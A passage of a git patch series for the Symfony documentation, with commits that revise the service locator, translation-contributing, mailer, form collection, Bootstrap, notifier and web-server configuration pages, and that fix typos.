 generate array-based locators

---
 .../service_subscribers_locators.rst          | 92 ++++++++++++++++---
 1 file changed, 78 insertions(+), 14 deletions(-)

diff --git a/service_container/service_subscribers_locators.rst b/service_container/service_subscribers_locators.rst
index 2fc0ec54fb1..fc702a52f27 100644
--- a/service_container/service_subscribers_locators.rst
+++ b/service_container/service_subscribers_locators.rst
@@ -246,9 +246,80 @@ service type to a service.
 Defining a Service Locator
 --------------------------
 
-To manually define a service locator, create a new service definition and add
-the ``container.service_locator`` tag to it. Use the first argument of the
-service definition to pass a collection of services to the service locator:
+To manually define a service locator and inject it to another service, create an
+argument of type ``service_locator``:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/services.yaml
+        services:
+            App\CommandBus:
+                arguments:
+                    !service_locator
+                        App\FooCommand: '@app.command_handler.foo'
+                        App\BarCommand: '@app.command_handler.bar'
+
+    .. code-block:: xml
+
+        <!-- config/services.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services https://symfony.com/schema/dic/services/services-1.0.xsd">
+
+            <services>
+                <service id="App\CommandBus">
+                    <argument type="service_locator">
+                        <argument key="App\FooCommand" type="service" id="sapp.command_handler.foo"/>
+                        <argument key="App\BarCommandr" type="service" id="app.command_handler.bar"/>
+                        <!-- if the element has no key, the ID of the original service is used -->
+                        <argument type="service" id="app.command_handler.baz"/>
+                    </argument>
+                </service>
+            </services>
+        </container>
+
+    .. code-block:: php
+
+        // config/services.php
+        namespace Symfony\Component\DependencyInjection\Loader\Configurator;
+
+        use App\CommandBus;
+
+        return function(ContainerConfigurator $configurator) {
+            $services = $configurator->services();
+
+            $services->set(CommandBus::class)
+                ->args([service_locator([
+                    'App\FooCommand' => ref('app.command_handler.foo'),
+                    'App\BarCommand' => ref('app.command_handler.bar'),
+                    // if the element has no key, the ID of the original service is used
+                    ref('app.command_handler.baz'),
+                ])]);
+        };
+
+.. versionadded:: 4.2
+
+    The ability to add services without specifying an array key was introduced
+    in Symfony 4.2.
+
+.. versionadded:: 4.2
+
+    The ``service_locator`` argument type was introduced in Symfony 4.2.
+
+As shown in the previous sections, the constructor of the ``CommandBus`` class
+must type-hint its argument with ``ContainerInterface``. Then, you can get any of
+the service locator services via their ID (e.g. ``$this->locator->get('App\FooCommand')``).
+
+Reusing a Service Locator in Multiple Services
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+If you inject the same service locator in several services, it's better to
+define the service locator as a stand-alone service and then inject it in the
+other services. To do so, create a new service definition using the
+``ServiceLocator`` class:
 
 .. configuration-block::
 
@@ -334,17 +405,7 @@ service definition to pass a collection of services to the service locator:
     previous Symfony versions you always needed to add the
     ``container.service_locator`` tag explicitly.
 
-.. versionadded:: 4.2
-
-    The ability to add services without specifying their id was introduced in
-    Symfony 4.2.
-
-.. note::
-
-    The services defined in the service locator argument must include keys,
-    which later become their unique identifiers inside the locator.
-
-Now you can use the service locator by injecting it in any other service:
+Now you can inject the service locator in any other services:
 
 .. configuration-block::
 
@@ -386,6 +447,9 @@ Now you can use the service locator by injecting it in any other service:
                 ->args([ref('app.command_handler_locator')]);
         };
 
+Using Service Locators in Compiler Passes
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
 In :doc:`compiler passes </service_container/compiler_passes>` it's recommended
 to use the :method:`Symfony\\Component\\DependencyInjection\\Compiler\\ServiceLocatorTagPass::register`
 method to create the service locators. This will save you some boilerplate and

From d66cc136e35bd62b20cc97b0c5ed6723ad847ae1 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 18 Dec 2020 16:09:26 +0100
Subject: [PATCH 1625/7107] Added a short guide about contributing code
 translations

---
 best_practices.rst                  |   2 +
 contributing/index.rst              |   1 +
 contributing/translations/index.rst | 103 ++++++++++++++++++++++++++++
 3 files changed, 106 insertions(+)
 create mode 100644 contributing/translations/index.rst

diff --git a/best_practices.rst b/best_practices.rst
index 02434a7c812..2880c1014e5 100644
--- a/best_practices.rst
+++ b/best_practices.rst
@@ -320,6 +320,8 @@ are two of the main tasks when handling forms. Both are too similar (most of the
 times, almost identical), so it's much simpler to let a single controller action
 handle both.
 
+.. _best-practice-internationalization:
+
 Internationalization
 --------------------
 
diff --git a/contributing/index.rst b/contributing/index.rst
index 923a4e48ed4..d76b4a8e037 100644
--- a/contributing/index.rst
+++ b/contributing/index.rst
@@ -7,6 +7,7 @@ Contributing
     code_of_conduct/index
     code/index
     documentation/index
+    translations/index
     community/index
     diversity/index
 
diff --git a/contributing/translations/index.rst b/contributing/translations/index.rst
new file mode 100644
index 00000000000..d865111f0cf
--- /dev/null
+++ b/contributing/translations/index.rst
@@ -0,0 +1,103 @@
+Contributing Translations
+=========================
+
+Some Symfony Components include certain messages that must be translated to
+different languages. For example, if a user submits a form with a wrong value in
+a :doc:`TimezoneType </reference/forms/types/timezone>` field, Symfony shows the
+following error message by default: "This value is not a valid timezone."
+
+These messages are translated into tens of languages thanks to the Symfony
+community. Symfony adds new messages on a regular basis, so this is an ongoing
+translation process and you can help us providing the missing translations.
+
+How to Contribute a Translation
+-------------------------------
+
+Imagine that you can speak both English and Swedish and want to check if there's
+some missing Swedish translations to contribute them.
+
+**Step 1.** Translations are contributed to the oldest maintained branch of the
+Symfony repository. Visit the `Symfony Releases`_ page to find out which is the
+current oldest maintained branch.
+
+Then, you need to either download or browse that Symfony version contents:
+
+* If you know Git and prefer the command console, clone the Symfony repository
+  and check out the oldest maintained branch (read the
+  :doc:`Symfony Documentation contribution guide </contributing/documentation/overview>`
+  if you want to learn about this process);
+* If you prefer to use a web based interface, visit
+  `https://github.com/symfony/symfony <https://github.com/symfony/symfony>`_
+  and switch to the oldest maintained branch.
+
+**Step 2.** Check out if there's some missing translation in your language by
+checking these directories:
+
+* ``src/Symfony/Component/Form/Resources/translations/``
+* ``src/Symfony/Component/Security/Core/Resources/translations/``
+* ``src/Symfony/Component/Validator/Resources/translations/``
+
+Symfony uses the :ref:`XLIFF format <best-practice-internationalization>` to
+store translations. In this example, you are looking for missing Swedish
+translations, so you should look for files called ``*.sv.xlf``.
+
+.. note::
+
+    If there's no XLIFF file for your language yet, create it yourself
+    duplicating the original English file (e.g. ``validators.en.xlf``).
+
+**Step 3.** Contribute the missing translations. To do that, compare the file
+in your language to the equivalent file in English.
+
+Imagine that you open the ``validators.sv.xlf`` and see this at the end of the file:
+
+.. code-block:: xml
+
+    <!-- src/Symfony/Component/Validator/Resources/translations/validators.sv.xlf -->
+
+    <!-- ... -->
+    <trans-unit id="91">
+        <source>This value should be either negative or zero.</source>
+        <target>Detta värde bör vara antingen negativt eller noll.</target>
+    </trans-unit>
+    <trans-unit id="92">
+        <source>This value is not a valid timezone.</source>
+        <target>Detta värde är inte en giltig tidszon.</target>
+    </trans-unit>
+
+If you open the equivalent ``validators.en.xlf`` file, you can see that the
+English file has more messages to translate:
+
+.. code-block:: xml
+
+    <!-- src/Symfony/Component/Validator/Resources/translations/validators.en.xlf -->
+
+    <!-- ... -->
+    <trans-unit id="91">
+        <source>This value should be either negative or zero.</source>
+        <target>This value should be either negative or zero.</target>
+    </trans-unit>
+    <trans-unit id="92">
+        <source>This value is not a valid timezone.</source>
+        <target>This value is not a valid timezone.</target>
+    </trans-unit>
+    <trans-unit id="93">
+        <source>This password has been leaked in a data breach, it must not be used. Please use another password.</source>
+        <target>This password has been leaked in a data breach, it must not be used. Please use another password.</target>
+    </trans-unit>
+    <trans-unit id="94">
+        <source>This value should be between {{ min }} and {{ max }}.</source>
+        <target>This value should be between {{ min }} and {{ max }}.</target>
+    </trans-unit>
+
+The messages with ``id=93`` and ``id=94`` are missing in the Swedish file.
+Copy and paste the messages from the English file, translate the content
+inside the ``<target>`` tag and save the changes.
+
+**Step 4.** Make the pull request against the
+`https://github.com/symfony/symfony <https://github.com/symfony/symfony>`_ repository.
+If you need help, check the other Symfony guides about
+:doc:`contributing code or docs </contributing/index>` because the process is
+the same.
+
+.. _`Symfony Releases`: https://symfony.com/releases

From d1314646d993de107ed220142630ad99eff8bbab Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 21 Dec 2020 09:30:48 +0100
Subject: [PATCH 1626/7107] Removed unnecessary versionadded directives

---
 service_container/service_subscribers_locators.rst | 9 ---------
 1 file changed, 9 deletions(-)

diff --git a/service_container/service_subscribers_locators.rst b/service_container/service_subscribers_locators.rst
index 8a3f9ec3852..051a0ab592c 100644
--- a/service_container/service_subscribers_locators.rst
+++ b/service_container/service_subscribers_locators.rst
@@ -300,15 +300,6 @@ argument of type ``service_locator``:
                 ])]);
         };
 
-.. versionadded:: 4.2
-
-    The ability to add services without specifying an array key was introduced
-    in Symfony 4.2.
-
-.. versionadded:: 4.2
-
-    The ``service_locator`` argument type was introduced in Symfony 4.2.
-
 As shown in the previous sections, the constructor of the ``CommandBus`` class
 must type-hint its argument with ``ContainerInterface``. Then, you can get any of
 the service locator services via their ID (e.g. ``$this->locator->get('App\FooCommand')``).

From 35eee2edc5c27824a23fcb5d2e6b1ee904b535eb Mon Sep 17 00:00:00 2001
From: Maks Rafalko <b0rn@list.ru>
Date: Mon, 21 Dec 2020 13:51:59 +0300
Subject: [PATCH 1627/7107] Add missed word

---
 messenger/dispatch_after_current_bus.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/messenger/dispatch_after_current_bus.rst b/messenger/dispatch_after_current_bus.rst
index e382f49eed3..7daaaebc676 100644
--- a/messenger/dispatch_after_current_bus.rst
+++ b/messenger/dispatch_after_current_bus.rst
@@ -40,7 +40,7 @@ DispatchAfterCurrentBusMiddleware Middleware
 --------------------------------------------
 
 For many applications, the desired behavior is to *only* handle messages that
-are dispatched by a handler once that handler has fully finished. This can be by
+are dispatched by a handler once that handler has fully finished. This can be done by
 using the ``DispatchAfterCurrentBusMiddleware`` and adding a
 ``DispatchAfterCurrentBusStamp`` stamp to :ref:`the message Envelope <messenger-envelopes>`::
 

From 3a01e25523530fa9ebeaeb40f93cf69427acf517 Mon Sep 17 00:00:00 2001
From: Bruno Baguette <1922257+Levure@users.noreply.github.com>
Date: Fri, 29 May 2020 12:33:32 +0200
Subject: [PATCH 1628/7107] Added tip for files input rendering

Added a tip about files input rendering in order to enable the display of the selected file.
---
 form/bootstrap4.rst | 10 ++++++++++
 1 file changed, 10 insertions(+)

diff --git a/form/bootstrap4.rst b/form/bootstrap4.rst
index e96db1afb3b..10ad6c254e3 100644
--- a/form/bootstrap4.rst
+++ b/form/bootstrap4.rst
@@ -94,6 +94,14 @@ Checkboxes and Radios
 For a checkbox/radio field, calling ``form_label()`` doesn't render anything.
 Due to Bootstrap internals, the label is already rendered by ``form_widget()``.
 
+File inputs
+-----------
+
+Files input are rendered using the Bootstrap "custom-file" class.
+
+Due to Bootstrap internals, the rendered field does not display the selected filename.
+To fix that missing display, you can use the "`bs-custom-file-input`_" plugin (vanilla javascript), as recommended by `Bootstrap Forms documentation`_.
+
 Accessibility
 -------------
 
@@ -126,6 +134,8 @@ Symfony Form ``RadioType`` and ``CheckboxType`` by adding some classes to the la
     {{ form_row(form.myCheckbox, {label_attr: {class: 'switch-custom'} }) }}
 
 .. _`WCAG 2.0 standard`: https://www.w3.org/TR/WCAG20/
+.. _`bs-custom-file-input`: https://www.npmjs.com/package/bs-custom-file-input
+.. _`Bootstrap Forms documentation`: https://getbootstrap.com/docs/4.4/components/forms/#file-browser
 .. _`custom forms`: https://getbootstrap.com/docs/4.4/components/forms/#custom-forms
 .. _`custom radio`: https://getbootstrap.com/docs/4.4/components/forms/#radios
 .. _`custom checkbox`: https://getbootstrap.com/docs/4.4/components/forms/#checkboxes

From 75194ae111a0415682d0d3f51291233940122b87 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 22 Dec 2020 15:47:32 +0100
Subject: [PATCH 1629/7107] Tweaks

---
 form/bootstrap4.rst | 7 +++----
 1 file changed, 3 insertions(+), 4 deletions(-)

diff --git a/form/bootstrap4.rst b/form/bootstrap4.rst
index 10ad6c254e3..ccf4659738c 100644
--- a/form/bootstrap4.rst
+++ b/form/bootstrap4.rst
@@ -97,10 +97,9 @@ Due to Bootstrap internals, the label is already rendered by ``form_widget()``.
 File inputs
 -----------
 
-Files input are rendered using the Bootstrap "custom-file" class.
-
-Due to Bootstrap internals, the rendered field does not display the selected filename.
-To fix that missing display, you can use the "`bs-custom-file-input`_" plugin (vanilla javascript), as recommended by `Bootstrap Forms documentation`_.
+File inputs are rendered using the Bootstrap "custom-file" class, which hides
+the name of the selected file. To fix that, use the `bs-custom-file-input`_
+JavaScript plugin, as recommended by `Bootstrap Forms documentation`_.
 
 Accessibility
 -------------

From b51618ff97b9aab131f0f3bb80463349d1ee3b58 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Fri, 24 Jul 2020 17:03:38 +0200
Subject: [PATCH 1630/7107] [Mailer] Update mailer.rst

---
 mailer.rst | 7 ++++---
 1 file changed, 4 insertions(+), 3 deletions(-)

diff --git a/mailer.rst b/mailer.rst
index 97a3dca00d7..31039f91ec0 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -163,12 +163,13 @@ both strings or address objects::
     :class:`Symfony\\Component\\Mailer\\Event\\MessageEvent` event to set the
     same ``From`` email to all messages.
 
-Multiple addresses are defined with the ``addXXX()`` methods::
+Multiple addresses can be set with ``addTo()``, ``addCc()``, or ``addBcc()``::
 
     $email = (new Email())
         ->to('foo@example.com')
         ->addTo('bar@example.com')
-        ->addTo('baz@example.com')
+        ->cc('cc@example.com')
+        ->addCc('cc2@example.com')
 
         // ...
     ;
@@ -178,7 +179,7 @@ Alternatively, you can pass multiple addresses to each method::
     $toAddresses = ['foo@example.com', new Address('bar@example.com')];
 
     $email = (new Email())
-        ->to(...$toAddresses)
+        ->to(...$toAddresses) // use the splat operator if you have an array
         ->cc('cc1@example.com', 'cc2@example.com')
 
         // ...

From fb7df00f8f50c27ac3c355f06d99f1d2af323f7c Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 22 Dec 2020 15:54:52 +0100
Subject: [PATCH 1631/7107] Tweaks

---
 mailer.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/mailer.rst b/mailer.rst
index 2d4b2819de6..fa19d77d849 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -274,7 +274,7 @@ both strings or address objects::
     :class:`Symfony\\Component\\Mailer\\Event\\MessageEvent` event to set the
     same ``From`` email to all messages.
 
-Multiple addresses can be set with ``addTo()``, ``addCc()``, or ``addBcc()``::
+Use ``addTo()``, ``addCc()``, or ``addBcc()`` methods to add more addresses::
 
     $email = (new Email())
         ->to('foo@example.com')
@@ -290,7 +290,7 @@ Alternatively, you can pass multiple addresses to each method::
     $toAddresses = ['foo@example.com', new Address('bar@example.com')];
 
     $email = (new Email())
-        ->to(...$toAddresses) // use the splat operator if you have an array
+        ->to(...$toAddresses)
         ->cc('cc1@example.com', 'cc2@example.com')
 
         // ...

From e9cc299e2a16df478d9e8804eed575fd9cc6d2b7 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Sat, 4 Apr 2020 11:26:06 +0200
Subject: [PATCH 1632/7107] [Form] Renaming the article

---
 form/form_collections.rst | 26 ++++++++++++++------------
 1 file changed, 14 insertions(+), 12 deletions(-)

diff --git a/form/form_collections.rst b/form/form_collections.rst
index cd1f66a7a8f..fa4210b6709 100644
--- a/form/form_collections.rst
+++ b/form/form_collections.rst
@@ -1,15 +1,18 @@
 .. index::
    single: Form; Embed collection of forms
 
-How to Embed a Collection of Forms
-==================================
+Edit Related Entities in a Single Form
+======================================
 
-In this article, you'll learn how to create a form that embeds a collection
-of many other forms. This could be useful, for example, if you had a ``Task``
-class and you wanted to edit/create/remove many ``Tag`` objects related to
-that Task, right inside the same form.
+To edit associated entities in the same form, Symfony has the concept of
+Form "Collections". Think of it as a series of sub-forms, embedded into
+the main form.
 
-Let's start by creating a ``Task`` entity::
+The example used in this article is a ``Task`` entity that relates to
+a ``Tag`` entitiy. The goal is to create a single form for tasks, that
+also allows to edit/create/remove many tags associated with that task.
+
+Here's the ``Task`` and the ``Tag`` entity::
 
     // src/Entity/Task.php
     namespace App\Entity;
@@ -45,12 +48,10 @@ Let's start by creating a ``Task`` entity::
 
 .. note::
 
-    The ``ArrayCollection`` is specific to Doctrine and is basically the
-    same as using an ``array`` (but it must be an ``ArrayCollection`` if
-    you're using Doctrine).
+    The `ArrayCollection`_ is specific to Doctrine and is basically the
+    same as using an ``array``.
 
-Now, create a ``Tag`` class. As you saw above, a ``Task`` can have many ``Tag``
-objects::
+.. code-block:: php
 
     // src/Entity/Tag.php
     namespace App\Entity;
@@ -688,3 +689,4 @@ the relationship between the removed ``Tag`` and ``Task`` object.
 .. _`JSFiddle`: http://jsfiddle.net/847Kf/4/
 .. _`@a2lix/symfony-collection`: https://github.com/a2lix/symfony-collection
 .. _`symfony-collection`: https://github.com/ninsuo/symfony-collection
+.. _`ArrayCollection`: https://www.doctrine-project.org/projects/doctrine-collections/en/1.6/index.html

From ca151cec146c4d16e2e3c8168231c37d9e837356 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 22 Dec 2020 16:55:55 +0100
Subject: [PATCH 1633/7107] Tweaks

---
 form/form_collections.rst | 24 ++++++++++++------------
 1 file changed, 12 insertions(+), 12 deletions(-)

diff --git a/form/form_collections.rst b/form/form_collections.rst
index fa4210b6709..30215b0a37d 100644
--- a/form/form_collections.rst
+++ b/form/form_collections.rst
@@ -1,18 +1,15 @@
 .. index::
    single: Form; Embed collection of forms
 
-Edit Related Entities in a Single Form
-======================================
+How to Embed a Collection of Forms
+==================================
 
-To edit associated entities in the same form, Symfony has the concept of
-Form "Collections". Think of it as a series of sub-forms, embedded into
-the main form.
+Symfony Forms can embed a collection of many other forms, which is useful to
+edit related entities in a single form. In this article, you'll create a form to
+edit a ``Task`` class and, right inside the same form, you'll be able to edit,
+create and remove many ``Tag`` objects related to that Task.
 
-The example used in this article is a ``Task`` entity that relates to
-a ``Tag`` entitiy. The goal is to create a single form for tasks, that
-also allows to edit/create/remove many tags associated with that task.
-
-Here's the ``Task`` and the ``Tag`` entity::
+Let's start by creating a ``Task`` entity::
 
     // src/Entity/Task.php
     namespace App\Entity;
@@ -48,8 +45,11 @@ Here's the ``Task`` and the ``Tag`` entity::
 
 .. note::
 
-    The `ArrayCollection`_ is specific to Doctrine and is basically the
-    same as using an ``array``.
+    The `ArrayCollection`_ is specific to Doctrine and is similar to a PHP array
+    but provides many utility methods.
+
+Now, create a ``Tag`` class. As you saw above, a ``Task`` can have many ``Tag``
+objects::
 
 .. code-block:: php
 

From 2b1f063ea379fffb2c42e527aaceba2d3553ba67 Mon Sep 17 00:00:00 2001
From: Wim Molenberghs <wim@eek.be>
Date: Mon, 2 Nov 2020 08:54:22 +0100
Subject: [PATCH 1634/7107] Add DirectoryIndex to fallback for resources

When DirectoryIndex is set FallbackResource disabled will do nothing because apache falls back to DirectoryIndex
---
 setup/web_server_configuration.rst | 1 +
 1 file changed, 1 insertion(+)

diff --git a/setup/web_server_configuration.rst b/setup/web_server_configuration.rst
index e4fef9b3d99..710a2f89dc6 100644
--- a/setup/web_server_configuration.rst
+++ b/setup/web_server_configuration.rst
@@ -127,6 +127,7 @@ and increase web server performance:
         # which will allow Apache to return a 404 error when files are
         # not found instead of passing the request to Symfony
         <Directory /var/www/project/public/bundles>
+            DirectoryIndex disabled
             FallbackResource disabled
         </Directory>
         ErrorLog /var/log/apache2/project_error.log

From 84ac5b201a4209113fe32e54d16b49dcb08fc0e6 Mon Sep 17 00:00:00 2001
From: Nicolas Grekas <nicolas.grekas@gmail.com>
Date: Tue, 22 Dec 2020 17:03:51 +0100
Subject: [PATCH 1635/7107] Tweak doc around proxy manager bridge

---
 service_container/lazy_services.rst | 7 +++----
 1 file changed, 3 insertions(+), 4 deletions(-)

diff --git a/service_container/lazy_services.rst b/service_container/lazy_services.rst
index 936316bb029..7b33bcdfcac 100644
--- a/service_container/lazy_services.rst
+++ b/service_container/lazy_services.rst
@@ -93,9 +93,9 @@ To check if your proxy works you can check the interface of the received object:
 
 .. note::
 
-    If you don't install the `ProxyManager bridge`_ and the
-    `ocramius/proxy-manager`_, the container will skip over the ``lazy``
-    flag and directly instantiate the service as it would normally do.
+    If you don't install the `ProxyManager bridge`_ , the container will skip
+    over the ``lazy`` flag and directly instantiate the service as it would
+    normally do.
 
 Additional Resources
 --------------------
@@ -106,5 +106,4 @@ in the `documentation of ProxyManager`_.
 .. _`ProxyManager bridge`: https://github.com/symfony/symfony/tree/master/src/Symfony/Bridge/ProxyManager
 .. _`proxy`: https://en.wikipedia.org/wiki/Proxy_pattern
 .. _`documentation of ProxyManager`: https://github.com/Ocramius/ProxyManager/blob/master/docs/lazy-loading-value-holder.md
-.. _`ocramius/proxy-manager`: https://github.com/Ocramius/ProxyManager
 .. _`final`: https://www.php.net/manual/en/language.oop5.final.php

From c8a0a723ab2565d3d24ba32f18c850f3e102aa36 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 22 Dec 2020 17:06:46 +0100
Subject: [PATCH 1636/7107] Fixed doc syntax

---
 form/form_collections.rst | 2 --
 1 file changed, 2 deletions(-)

diff --git a/form/form_collections.rst b/form/form_collections.rst
index 30215b0a37d..e7502432a16 100644
--- a/form/form_collections.rst
+++ b/form/form_collections.rst
@@ -51,8 +51,6 @@ Let's start by creating a ``Task`` entity::
 Now, create a ``Tag`` class. As you saw above, a ``Task`` can have many ``Tag``
 objects::
 
-.. code-block:: php
-
     // src/Entity/Tag.php
     namespace App\Entity;
 

From a490d10189aad87f89a7e18a0939451276143be1 Mon Sep 17 00:00:00 2001
From: Hugo Sales <hugo@fc.up.pt>
Date: Sun, 21 Jun 2020 15:49:19 +0000
Subject: [PATCH 1637/7107] Add documentation for pull #37371

---
 translation/message_format.rst | 15 +++++++++++++++
 1 file changed, 15 insertions(+)

diff --git a/translation/message_format.rst b/translation/message_format.rst
index 81bc8320975..e744ab8f757 100644
--- a/translation/message_format.rst
+++ b/translation/message_format.rst
@@ -165,6 +165,21 @@ you to use literal text in the select statements:
 #. Inside this block, ``{organizer_name}`` starts "code" mode again, allowing
    ``organizer_name`` to be processed as variable.
 
+Additionally, it's possible to write the message directly in code::
+
+    $invitation = '{organizer_gender, select,
+                female {{organizer_name} has invited you for her party!}
+                male   {{organizer_name} has invited you for his party!}
+                other  {{organizer_name} have invited you for their party!}
+            }';
+    // prints "Ryan has invited you for his party!"
+    echo $translator->trans($invitation, [
+        'organizer_name' => 'Ryan',
+        'organizer_gender' => 'male',
+    ]);
+
+This can be used to create a wrapper.
+
 .. tip::
 
     While it might seem more logical to only put ``her``, ``his`` or ``their``

From 064bb18c88def6b3d1eab4a771076c4d3fa12366 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 22 Dec 2020 17:21:14 +0100
Subject: [PATCH 1638/7107] Tweaks

---
 translation/message_format.rst | 31 ++++++++++++++++---------------
 1 file changed, 16 insertions(+), 15 deletions(-)

diff --git a/translation/message_format.rst b/translation/message_format.rst
index e744ab8f757..0a0742e16d0 100644
--- a/translation/message_format.rst
+++ b/translation/message_format.rst
@@ -165,21 +165,6 @@ you to use literal text in the select statements:
 #. Inside this block, ``{organizer_name}`` starts "code" mode again, allowing
    ``organizer_name`` to be processed as variable.
 
-Additionally, it's possible to write the message directly in code::
-
-    $invitation = '{organizer_gender, select,
-                female {{organizer_name} has invited you for her party!}
-                male   {{organizer_name} has invited you for his party!}
-                other  {{organizer_name} have invited you for their party!}
-            }';
-    // prints "Ryan has invited you for his party!"
-    echo $translator->trans($invitation, [
-        'organizer_name' => 'Ryan',
-        'organizer_gender' => 'male',
-    ]);
-
-This can be used to create a wrapper.
-
 .. tip::
 
     While it might seem more logical to only put ``her``, ``his`` or ``their``
@@ -188,6 +173,22 @@ This can be used to create a wrapper.
     readable for translators and, as you can see in the ``other`` case, other
     parts of the sentence might be influenced by the variables.
 
+.. tip::
+
+    It's possible to translate ICU MessageFormat messages directly in code,
+    without having to define them in any file::
+
+        $invitation = '{organizer_gender, select,
+            female {{organizer_name} has invited you for her party!}
+            male   {{organizer_name} has invited you for his party!}
+            other  {{organizer_name} have invited you for their party!}
+        }';
+
+        // prints "Ryan has invited you for his party!"
+        echo $translator->trans($invitation, [
+            'organizer_name' => 'Ryan',
+            'organizer_gender' => 'male',
+        ]);
 
 .. _component-translation-pluralization:
 

From dc072c4d98b3d79494e9fcb12b4314b67bde4674 Mon Sep 17 00:00:00 2001
From: Pavel Nemchenko <pavelnemoi@gmail.com>
Date: Wed, 23 Dec 2020 00:03:08 +0200
Subject: [PATCH 1639/7107] [Service Container] Fix typo in tag default index
 method name

---
 service_container/tags.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/service_container/tags.rst b/service_container/tags.rst
index bf8f6959db4..6783ef06d4e 100644
--- a/service_container/tags.rst
+++ b/service_container/tags.rst
@@ -807,7 +807,7 @@ array element. For example, to retrieve the ``handler_two`` handler::
 .. tip::
 
     Just like the priority, you can also implement a static
-    ``getDefaultIndexAttributeName()`` method in the handlers and omit the
+    ``getDefaultIndexName()`` method in the handlers and omit the
     index attribute (``key``)::
 
         // src/Handler/One.php

From c521f8e54355bce0baa93a66f20a9a3ff1b8edb7 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?J=C3=A9r=C3=A9my=20Deruss=C3=A9?= <jeremy@derusse.com>
Date: Wed, 23 Dec 2020 09:59:35 +0100
Subject: [PATCH 1640/7107] Remove experimental from notifier

---
 notifier.rst          | 3 +--
 notifier/chatters.rst | 3 +--
 notifier/texters.rst  | 3 +--
 3 files changed, 3 insertions(+), 6 deletions(-)

diff --git a/notifier.rst b/notifier.rst
index 10a0a5490aa..c7c84eb5977 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -6,8 +6,7 @@ Creating and Sending Notifications
 
 .. versionadded:: 5.0
 
-    The Notifier component was introduced in Symfony 5.0 as an
-    :doc:`experimental feature </contributing/code/experimental>`.
+    The Notifier component was introduced in Symfony 5.0.
 
 Installation
 ------------
diff --git a/notifier/chatters.rst b/notifier/chatters.rst
index da11c8858b9..ffeb6e0dc5e 100644
--- a/notifier/chatters.rst
+++ b/notifier/chatters.rst
@@ -6,8 +6,7 @@ How to send Chat Messages
 
 .. versionadded:: 5.0
 
-    The Notifier component was introduced in Symfony 5.0 as an
-    :doc:`experimental feature </contributing/code/experimental>`.
+    The Notifier component was introduced in Symfony 5.0.
 
 The :class:`Symfony\\Component\\Notifier\\ChatterInterface` class allows
 you to send messages to chat services like Slack or Telegram::
diff --git a/notifier/texters.rst b/notifier/texters.rst
index eb663b13726..4cf9b6f2de2 100644
--- a/notifier/texters.rst
+++ b/notifier/texters.rst
@@ -6,8 +6,7 @@ How to send SMS Messages
 
 .. versionadded:: 5.0
 
-    The Notifier component was introduced in Symfony 5.0 as an
-    :doc:`experimental feature </contributing/code/experimental>`.
+    The Notifier component was introduced in Symfony 5.0.
 
 The :class:`Symfony\\Component\\Notifier\\TexterInterface` class allows
 you to send SMS messages::

From 275b6e97ba7edd5eff2d38230d5300270a1d9868 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?J=C3=A9r=C3=A9my=20Deruss=C3=A9?= <jeremy@derusse.com>
Date: Wed, 23 Dec 2020 11:46:38 +0100
Subject: [PATCH 1641/7107] Restore version-added in string

---
 components/string.rst | 4 ++++
 1 file changed, 4 insertions(+)

diff --git a/components/string.rst b/components/string.rst
index 7d2ec49a198..83d73140095 100644
--- a/components/string.rst
+++ b/components/string.rst
@@ -8,6 +8,10 @@ The String Component
     The String component provides a single object-oriented API to work with
     three "unit systems" of strings: bytes, code points and grapheme clusters.
 
+.. versionadded:: 5.0
+
+    The String component was introduced in Symfony 5.0.
+
 Installation
 ------------
 

From eaaceec65766e176acd0dfcc58d445fa38c08bfc Mon Sep 17 00:00:00 2001
From: Victor Bocharsky <bocharsky.bw@gmail.com>
Date: Wed, 23 Dec 2020 13:13:35 +0200
Subject: [PATCH 1642/7107] Minor: Remove extra space in the config example

---
 mailer.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/mailer.rst b/mailer.rst
index fa19d77d849..86683f365c1 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -962,7 +962,7 @@ you have a transport called ``async``, you can route the message there:
                     async: "%env(MESSENGER_TRANSPORT_DSN)%"
 
                 routing:
-                    'Symfony\Component\Mailer\Messenger\SendEmailMessage':  async
+                    'Symfony\Component\Mailer\Messenger\SendEmailMessage': async
 
     .. code-block:: xml
 

From 78de6f66628019b7feaee639c69ef6d907745931 Mon Sep 17 00:00:00 2001
From: Simon <watiau.simon@gmail.com>
Date: Wed, 23 Dec 2020 12:49:07 +0100
Subject: [PATCH 1643/7107] Minor: Fix quotes

style(serializer): Fix quotes
---
 components/serializer.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/serializer.rst b/components/serializer.rst
index 20d31fa8c0c..5c498cbf593 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
